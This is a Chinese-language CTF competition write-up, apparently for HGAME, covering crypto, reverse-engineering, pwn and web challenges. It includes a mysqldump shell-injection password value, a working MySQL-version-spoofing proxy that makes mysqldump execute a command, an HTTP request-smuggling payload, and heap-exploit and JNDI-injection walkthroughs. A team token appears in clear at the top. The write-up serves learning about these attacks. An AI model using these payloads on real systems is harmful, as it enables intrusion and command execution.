队伍名：Igiri
队伍 ID：#0007ae
队伍 Token：i6yUCBBpFvKsuXZVxhVgE

TEST NC

直接连接

从这里开始的序章

复制 flag

明年见

填问卷

Ancient Recall

五个数字加密 20 次，加密的方法是把每个位置的数字变成原来的数字和旁边的数字的和，也就是

$$a'_1 = a_1 + a_2, \dots, a'_5 = a_5 + a_1$$

那么有

$$\Sigma a'_i = S = \frac{\Sigma a_i}{2}$$

$$a_1 = S - a'_2 - a'_4$$

以此类推即可解密
牌编号如果是负数，就和-1 异或。

Intergalactic Bound

百度题，搜索题目中的关键词得到原题以及 Writeup
“TH_Curve”
https://yunru-volknet.github.io/posts/2024 羊城杯/
和原题有点不同，小明把墨水泼在曲线参数a上了，你能帮他还

原吗?
因为点P,Q必然在曲线$ax^3+y^3+1=dxy$上，代入P,Q两点坐标可得到关于a和d的方程，故能解出a和d.
原题范围小，作者在 Pohlig_Hellman 算法时丢掉了$Ord(P)$的最后一个因数，这导致原题答案无法解出这道题，去掉“[:-1]”即可解出题目。

SPiCa

百度题，搜索代码中出现的神秘常数和公式:
```
iota=0.035 Mbits=int(2 * iota * n^2 + n * log(n,2))
```
注意百度搜不到，要用 goog 或者必应
不行试试搜狗
使用 "iota" "0.035" 背包问题 搜索（包含引号，参见搜索引擎规则）
https://0xffff.one/d/2077
https://lazzzaro.github.io/2020/11/07/crypto-%E6%A0%BC%E5%AF%86%E7%A0%81/index.html
即可成功 win
Flag 在选择矩阵的其中一列。显示所有列找到那个唯一是 flag 的。

Invest in hints

抽奖题
每一位指的是每一个字符，提示是反过来的
提示的长度不同，规则串的 1 的数量也不同
每解锁一个提示，就用 Python DFS 暴力匹配规则和所有提示，遇到冲突回退。
剩下的交给运气。
《怎么那么多提示中间还是有几个问号》《我知道了，前面是 hgame{》《中间咋不出呢》《怎么前面 hg 出了》《大哥给个后面的字母》《前面是 hgame 我知道了不用给》《给后面的字母啊》《我不想吃保底》《最后一个信息量肯定最大》

Level 729 易画行

下载附件，可知附件在 sepolia 上送出了一个 NFT。etherscan 搜索地址可查到记录。
Flag 一定会和这条记录有关，探索后发现在 NFT 创建的记录中有 ipfs 地址。下载 ipfs 查看该地址即可看到 flag。

Computer cleaner plus

登录
ps 看进程列表
```
permission denied
```
我不是 root 吗?
```
ls /bin/ps
-rw-r--r--
```
? ?
```
vim /bin/ps
command not found
```
没有 vim 我要 4 了
```
apt install vim
```
怎么还没网
```
vi /bin/ps
```
哦，原来是这样

能想到换掉 ps 命令却忘记设置可执行权限
假的 ps 命令是一个 sh 脚本，会运行神秘 elf 文件，它的名字就是 flag。

不过这道题整个系统唯一一点不对劲就是这个 ps，木马文件似乎根本不存在（或者使用了某种超级隐藏方式），唯一的线索就在这个 ps 上，没有 ps 看进程的第一意识（比方说用 top），这道题就会变成极难折磨题

Lost Disks

脑洞题
首先需要挂载 LVM。百度一下即可挂载。

好了问题来了，hand2 能挂载并导出镜像，file 识别出加密文件系统 LUKS。但是 hand1 损坏，什么 partial 的，Warning Missing XXXXXX-XXXX 的。那么显然密码在 hand1 里。
搜索可得知 pv 缺失，继续百度找到修复方法，然后需要一个 restore 文件。
没有 restore 文件，试试通用方法，diskgenius foremost binwalk 三板斧全挂，但是 strings 发现了奇迹，发现里面有疑似配置文件的文本，叫上好兄弟 HxD 搜索特征关键词，发现三个看起来是不同时间的配置文件，找最晚的那个复制出来碰碰运气。
很好，有了 restore 文件之后顺利修复并挂载 hand1。导出来发现也是加密的，而且 file 什么的识别不出来了。
此处应有提示，但是没有。试了几个可能像是密码的密码，都提示不对。难道要爆？没提示我先不爆。

不过提到加密文件系统，我想起来了一个久远的故事，有一次解谜活动，也是挂载硬盘，挂载 raid5。最后出来了一张图片和一个 secret 文件。对着图片各种隐写改宽高都找不到密码。结果后面发现解法居然是用 Veracrypt，拿图片作为 keyfile 去解密 secret 文件。不知道这个谁想得到是 veracrypt 啊（veracrypt 产生的加密镜像是无特征的，唯一的线索是文件大小是正好 10MB）。后面我又看到了一个压缩包解出来一个图片和二进制的题，又来了。

所以说，有没有可能密码不在 hand1 里面，而是这个 hand1 本身就是密码？
运行解密指令后没有输出（如果解密失败会显示错误）！还真是这样，不愧是零解脑洞题。

解出后立即导出镜像，file 后发现是 btrfs，挂载后提示缺一半。
此时如果按照思维惯性修复就又被坑了，不需要修复
强行挂载后发现空白的 flag.txt
此时容易被带到 subvolume 或者 snapshot 功能上，也是错误的，没有别的 subvolume 或者 snapshot
这个时候应该没有加密了，既然叫 flag.txt，flag 一定在这里！

HxD 搜索 hgame
成功获得 flag

串行调试模式

脑洞题
“本内核只为 4 个核的情况编写，请予以保证。”
↑遵守这句话的都无法轻松做出此题
这是 Misc，逆向的也无法轻松做出此题
就算发现了不对也还有一个超级脑洞等着

多次运行后发现，每次输出的文字都不太一样，似乎有什么规律。
第一步是要试试如果只给三个核或者一个核会怎么样，会发现，当核数减少的时候输出会变短并卡住（ssh 玩家还会发现 ctrl+c 中断不掉，还好我 tmux+htop）
然后发现 1 核的时候是固定的，2 核的时候似乎是在 1 核的情况下在随机位置多增加几个字
猜测是有四个核以输出不同内容并且时间随机，导致输出混在了一起。
对 1，2，3，4 核情况采样后写脚本逐个分离。

```
def main():
    a1 = "ncpkgekeo2oglep8"
    a2 = "ncpkgekeob32ognltbep85r2f5iy5yu8"
    a3 = "ncpkgekeo2obgt3lelpn8utdbplz5krsky322kf588iy5yu8"
    a4 = "ncpkgekeob3ntbtl25wogleufprg8mdxt2fw5i7ypu7xwdq8l85yu8z
ksky32k88"
    q1 = a1
    q2 = d(a2,[q1])
    q3 = d(a3,[q1,q2])
    q4 = d(a4,[q1,q2,q3])

def d(a, q):
    v=[0]*len(q)
    ans=""
    for c in a:
        catched=False
        for i, qi in enumerate(q):
            if v[i] < len(qi) and qi[v[i]] == c:
                v[i] += 1
```

```
            catched=True
            break
        if not catched:
            ans+=c
    return ans

main()
```

会得到

```
ncpkgekeo2oglep8
b3ntb5r2f5iy5yu8
tludplzksky32k88
wfgmxtw7u7xwdq88
```

感觉像 base32。后面的 8 应该是==。但是每一行似乎都不能正常解出。
此处需要超级脑洞。看看后面的 8 的形状，会不会是要组合起来，“从上往下”“从左往右”地组合呢？
先试试前八个字母

```
echo NBTWC3LF | base32 -d | xxd
00000000: 6867 616d 65                           hgame
```

思路正确！

```
def main():
    ...
    ans = ""
    for x,y,z,w in zip(q1,q2,q3,q4):
        ans += x+y+z+w

    print(ans.upper().replace("8", "="))
```

得到的结果 base64 -d 即可

顺带一提，用 ida 分析 risc-v 可能会看不懂，因为 ida 会自动合并 auipc 和 iadd 指令为一条 la 伪指令。这本来是好事，但是它会把

```
auipc a0, xxxxxxxx
iadd x5, a0, yyyy
```

合并成

```
la a0, xxxxxxxxyyyy
```

（这里的 a0 本来应该是 x5）

然后就会疑惑了，前面也没有 x5 啊，x5 的值哪里来的？
使用其他功能弱一点的分析工具，例如 cutter，即可注意到 ida 的坑。在 Option→General 里可以关闭 Simplify Instruction 来查看原来的指令。

Signin2Heap

没做出来。第一次玩堆有什么需要注意的？题目只有一个 off-by-null。Libc-2.27 看似 227 实则 229，带了补丁。申请大小限制 256 以内，用不了 largebin。创建即写入末尾 0，删除即清零指针，UAF 封死，除了堆大小之外都泄露不出去。
56 solves 的题一定没有那么难，唯一的解释就是没注意到关键的线索。坐等官方 wp。
有一个想法是申请连续的三个 chunk 然后同时释放，说不定能弄出 largebin。

Where is the vulnerability

感觉这类题应该熟练后都能做得很快，或者我又没注意到关键线索，不然解释不清楚怎么那么多人做对而我这边如此折磨。
程序被拆成了两份。libc239，随便 UAF，大小限制超宽，0x400 到 0x1000，超级大方，随便 largebin。
首先要注意到这是 libc239 —— 运行 `./ld-linux-xxx-so ./libc.so.6` 可看到版本。
看到有 prctl。`seccomp-tool dump` 之。禁止 execve。要 ORW。
搜索 libc239 heap orw 后发现要用 horse of apple2

第一步是 largebin。
https://xz.aliyun.com/news/15081
调试成功后可以精准修改_IO_list_all
注意这里泄露 libc 基地址和堆地址的时候一旦地址里有 00 就会 puts 截断，运气需求增加，重新运行即可

第二步是精准替换_IO_list_all。

https://xz.aliyun.com/news/12538
火眼金睛查看各种 wp 后多次尝试，终于明白前八位要用上一个块覆盖。_IO_list_all 替换后的地址在块前面-0x10 的位置（堆块有个头）。中间的几个关键参数也是需要多次理解尝试。
使用 0x41414141 测试法，把要执行的函数地址设为 0x41414141，如果在这个位置发生异常就意味着成功了。
然后就可以执行 system('sh')了吗？果然遇到了 SIGSYS，因为 execve 被禁用了。

House of apple2 成功但是无法直接用 system，怎么办？
这时需要用 ROP ORW，网上不合适的教程与糟糕的文章是折磨的延续。

首先尝试使用简单的方法，在块上写 ROP ORW，然后把 esp 改到自己的块上。
但是调试后发现 House of apple2 出去后只有 rbx 和 rdi 指向自己的块，其他地方都似乎没有线索。
之后发现 magic gadget。
https://xz.aliyun.com/news/15232 后半部分
此处奇难无比，libc.so.6 里没有这个符号。不过搜索特征值能够找得到，然而写好后会发现用不了
调试后发现这个 libc 里那段像是 magic_gadget 的地方实际上长这样：

```
mov    r12, qword ptr [rdi + 0x48]
mov    rax, qword ptr [rbp + 0x18]
lea    r14, [r12 + 0x10]
mov    dword ptr [r12 + 0x10], 0
mov    rdi, r14
call   qword ptr [rax + 0x28]
```

原先是 rbp 的地方变成了 r12。这导致后面使用 leave;ret 改变 rsp 的计划泡汤了。
使用 setcontext？但是参数 rdi 还是在那个 House of apple2 的块上，用于控制 rsp 的 0xa0 位置已经有内容了，它不能既是这个又是那个。

此时我发现了一个神奇的做法：弱化的 magic_gadget 可以用来修改 rdi 并调用任意函数。
也就是说，可以用弱化后的 magic_gadget 把 rdi 改成 setcontext 的参数表位置，并且把调用点设为 setcontext，这样即可调用 setcontext 改变 rsp 和 rip，完美设定自己想要的 rop 环境。

这样就可以尽情地 rop，读取 flag 了。
本地通过，但是远程输入到一半会死循环，不断刷屏菜单。怎么回事呢？
一开始猜测输出中有换行符导致混乱，换 gadget 后，问题依旧。后面进行测试发现和输出的长度有关，而这个利用方法必须填满长度。

也就是说，0x1000 在远程是达不到的，实际上大小超过 0x600（大概）就会导致远程混乱。于是只能缩小申请的块大小把数据放在两个不同的块里面。
又是调各种偏移。
这次运气较好，终于在比赛结束的 30 秒前获得 flag 并顺利提交!

如果发现不了 magic_gadget 的话这题我估计也做不出来，但是解题成功人数这么多，说明肯定是有简单方法的。

Signin

这道题，前面会检测硬件调试寄存器来反调试。
在后面会通过一个复杂的加密算出一个 key，然后跑一个改版 xxtea。
此时容易想到使用调试器软调试偷出 key 的值，然后你会发现解密不了并且 key 的值每次都会变。
然后发现 key 的值和程序主程序区的二进制有关，疑似一个哈希。
而调试器下软断点会临时修改程序，破坏了哈希。
下硬件断点也会被检测，怎么办呢？nop 掉 exit(1)就好？上面还有坑，它会把硬件寄存器的值送到 key 里边去。所以需要把 key 代表硬件寄存器的部分清零。
清零后即可偷出正确 key 并解出 flag。

Mystrious signals

app 发送请求后，wireshark 抓包得到 http 发包结构，内容是一个 json 和一个 sign 签名，
app 直接丢掉
逆向 serve
眼睛都要瞎了，能够根据函数名猜出这里边有加密

里面是改版 xxtea，key 用另一个解密算法生成，用 ida 远程调试偷出 key 即可伪造签名。
伪造签名后尝试修改 file 字段为 flag 之类的均失败。（此时应有扫目录）
继续观察 serve 发现对一个名叫 h1g1a1m1e1 的文件会有特殊的解密处理。访问 h1g1a1m1e1 即可解密。

Fast and frustrating

一开始会检测使用的语言环境，环境必须是 vt 环境才给过。直接 nop 之。
然后就开始出错了，base64 无法正常解析
断点后发现 base64 试图解一个“FakeConstrs”
用 HxD 可以发现 FakeConstrs 附近还有 flag is not here 之类的提示，往后面看能看到格式相似的内容，里面有真正的 Base64 和加密的 flag。接着会发现一个目录，指明第一个是通用的资源，第二个是“vt 语”专用的资源
把 vt 改成 zh 或者 en 然后试着在对应的环境启动即可正常运行。
（我这边绕了远路，看 dotnet github 仓库硬改 resource 字符串长度）
需要输入 key。提取上面提到的 Base64 并解码，出现乱码。File 一下发现是 gzip。解压得到 json。
Json 里有矩阵 `mat_a` 和向量 `vec_b`。猜测是矩阵乘法$Ax = B$。使用 numpy 求逆矩阵并解出x，发现是 ascii 码。转换后得到 `CompressedEmbeddedResources`
这就是 key 了。输入后得到 flag。

Middlemen

apk 不知为何装不上。
apk 里有个 libmiddlemen.so。判断正误的关键在此。
首先答案的格式是 hgame{UUID}。提出 UUID 后居然发起了系统调用？
查看附近的函数会发现有一个函数注册了 SIGSYS 信号回调函数。进去后有两个取值操作，估计就是取了 UUID 的值，然后加密比较。
加密算法初步判断是 AES。GitHub 搜索加密函数的字符串可发现对应的开源库。

但是，key 和部分输入进行了异或。这样还能解密吗？
找到了个叫 Lagrange 的项目，用 python z3 建模了 AES 算法，然后我就上约束求解。
两小时过去了，没解出来。
注意到 ida 给出的结构体和 aarch64 下的结构体有差异影响分析，我感觉有点疑惑，难道信号捕获的原理其实不是这样的？我试着在手机上（唯一的 aarch64 环境）试了下 SIGSYS 信号捕获（不得不说大模型写这种 demo 就是快啊），用 ida 反编译对比了下，我的猜想完全正确。
那这题又不是 crypto 啊。怎么解？
直到我发现 syscall 调用号 172 是完全有效的调用，getpid，无参数，理论上不会发生任何异常信号。
所以肯定有藏着东西。果然，一开始注册信号回调的时候还开了个 prctl。
通过改库入口函数 JNI_OnLoad 加一个 jmp 到判断函数并用 AI 科技写 c 语言程序调用它即可验证答案是否正确，并且可以用 seccomp-tool dump 出规则

好藏，这个规则里对第三和第四个参数进行了限制，只有这两个参数满足两条等式才会阻止系统调用并引发异常。
使用 z3 求解得到 flag 的后半部分，解密出 key 后即可解密完整的 flag。

Nop'd

最有创意的，也是最折磨的。
一个文字游戏和一个启动器，看起来普通的游戏在经过启动器启动后需要推测正确的输入。
直接逆向，可以看到启动器 ptrace 了游戏并断在系统调用处，然后读取 rip 附近的字符并比较。
看看这个带有等于和与的规则，不会这就是 Nop 吧！查看游戏的反汇编发现，真的，每个系统调用旁边都围着几个 Nop。

很有创意的设计，用多字节 Nop 来隐写。但马上就要开始折磨了。
启动器根据 nop 的参数设定参数表或者调用函数，然而参数表可能来自游戏内部的内存空间或者寄存器，这该怎么处理呢？

先看一下启动器里会调用什么。可以发现有一些像是加密的片段，一个输出，一个输入，一个返回 0，一个返回奇怪数字，一个向前跳转，还有一个比较并返回，应该也是一个加密+比对的模型。

经过类型调整后，我发现 ida 产生的伪代码可以编译回去。把 ptrace 那部分和设定参数表的部分编译回去，并在执行函数那里写 printf，即可记录游戏调用了哪些函数，用了什么参数。

这样可以看出，nop 部分先输出了问号，接收用户输入，然后对某个地方的内容进行循环加密，最后和输入比对。
看起来只要在最后提取出比对的内容即可知道输入。这里因为有 ptrace 调试器不起作用，怎么办？
上汇编改启动器！把比较改成输出，即可看到比对的内容。
然后就发现不对了，为什么是乱码？里面还藏有坑。

对游戏里的代码再次分析，发现有一个地方藏了一个复制操作。而在比较前，输入和加密后的结果做了一个循环异或操作再进行比较。

此时不需要去解密，只需要根据异或后输出的结果调整输入就能得到 flag 了。

```
# 预期的结果
target = bytes.fromhex("64 6A 50 17 81 7D 6F 1A 87 B1 A4 00 09 03 F
8 8D F8 6B DF 32 5F 40 90 9C B8 3D 86 13 26 B7 63 F7 74 E8 53 ED 58
20 4F D9 99 26 21 37 DE 35 76 C8 BC D0 6E")
# 输入全零时得到的结果
zerous = bytearray.fromhex("0c653e14e76036708384f0365320f6e0a55b
821a196fdcb1e10197602c90 20846e9c40d30b333b9cbf610a31b6325c8d89c
407")
inputs = bytearray(len(target))

assert len(target)==len(zerous)

for i in range(len(target)):
    inputs[i]=zerous[i]^target[i]
    for j in range(i):
        inputs[i]^=inputs[j]

print(inputs)
```

HoneyPot

先看代码

```
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s
 %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
    config.RemoteHost,
    config.RemoteUsername,
    config.RemotePassword,
    config.RemoteDatabase,
    localConfig.Username,
    localConfig.Password,
    config.LocalDatabase,
)
```

`config.RemotePassword` 没有任何过滤。因此，你可以运行任何想要运行的命令。
包括 `/writeflag` 。
密码设为 `; /writeflag ; #` 即可

HoneyPot Revenge

百度题
搜索 mysqldump vuln 即可查到
https://www.freebuf.com/vuls/411090.html
win

哦对了，重新编译太慢，用 mysql-mimic 会使 mysqldump 返回错误。这里写一个端口代理来修改 mysql 版本。

```
import asyncio

async def client_connect(reader, writer):
    HOST, PORT = "localhost", 3306
    s_reader, s_writer = await asyncio.open_connection(host=HOST,
port=PORT)
    async def writeout():
        # first proxy to '\n'
        out = await s_reader.readuntil(b'\n')
        print(">", out)
        writer.write(out)
        # then change the version string on the fly
        out = await s_reader.readuntil(b'\0')
```

```
            print(">?", out)
            out = b"5.5.5-10.11.6-Ma\n\\! /writeflag\n\0"

            print(">!", out)
            writer.write(out)
            # act like normal
            while not s_reader.at_eof() and not writer.is_closing():
                out = await s_reader.read(1)
                # print(">", out)
                writer.write(out)
        async def readin():
            while not reader.at_eof() and not s_writer.is_closing():
                out = await reader.read(1)
                # print("<", out)
                s_writer.write(out)
        await asyncio.gather(writeout(), readin())

async def main():
    HOST, PORT = "localhost", 9999
    server = await asyncio.start_server(client_connect, host=HOST,
port=PORT, reuse_address=True)
    async with server:
        await server.serve_forever()

if __name__ == "__main__":
    asyncio.run(main())
```

有了 asyncio 后写这种东西简单多了。注：根据自己的版本号修改，修改后的版本号应该和原版版本号长度相同。

可惜题目还是有问题，只能连接 3309 端口，这下花生壳这些工具不能用了，只能租服务器，这道题变成了富哥题

Level 60 SignInJava

没做出来。看了提示也没做出来。
感觉像是要扫描所有 bean 下的方法然后筛选出能够注册类或者别名的?

Level 111 不存在的车厢

有一个代理服务器和一个内部的服务器，内部服务器需要 POST 请求才能拿到 flag，但是代理服务器只代理 GET 请求。
代理使用自己的序列化协议和服务器通信，保持长连接。仔细看能

发现，在序列化报头时，考虑了每一个 key 下有多个 value 的情况，并且用 for 循环写入了所有 value，但是并没有记录 value 的个数，这意味着不可能完美反序列化。果然，反序列化假设 value 只有一个，这意味着可以逃脱。

发送

```
GET / HTTP/1.1
host:
z:
z:
z:POST
z:/flag
z:

GET / HTTP/1.1
host:
```

两个请求后，请求会被序列化为（其中(n)代表 32 位无符号整数）

```
(3)GET
 (1)/
 (2)
  (4)Host
   (0)
  (1)z
   (0)
   (0)
   (4)POST
   (5)/flag
 (0)
(3)GET
 (4)Host
 (0)
```

然后内部服务器就会把它解读成一个 GET 请求和一个 POST 请求，和一个不完整的“Host”请求

```
(3)GET
 (1)/
 (2)
  (4)Host
   (0)
  (1)z
   (0)
 (0)
(4)POST
 (5)/flag
 (0)
 (3)GET
(4)Host
 (0)
```

这样就有 flag 了

Level 257 紫罗兰

没做出来
百度题
首先 redis 写入 ssh authorized_keys 登陆上去
然后发现必须要 root 才能读 flag
运行 `ps aux` 发现有/app/app.jar 在 root 下运行
下载后发现是个 8080 服务器，里面有 ldap search，从 389 端口查 ldap 数据
此处较难，浪费大量时间在连接这个服务器上，后面发现 389 端口根本没东西
搜索 jndi search 发现 https://xz.aliyun.com/news/15113
这个就是了，这道题的正确思路是自己开有问题的 389，让那个 app.jar 连接，然后通过自己的 389 做 jndi 注入

本地测试通过，但不知为何远程不执行命令。`chmod 755 /flag` 之类的都不行。本地测试，用 docker，下对应的 jdk 8u342，都能通过，但远程就是不行。389 `ssh -L` 过去不行，甚至把开 389 端口的服务器传上去了，还是不行。
期待官方 wp。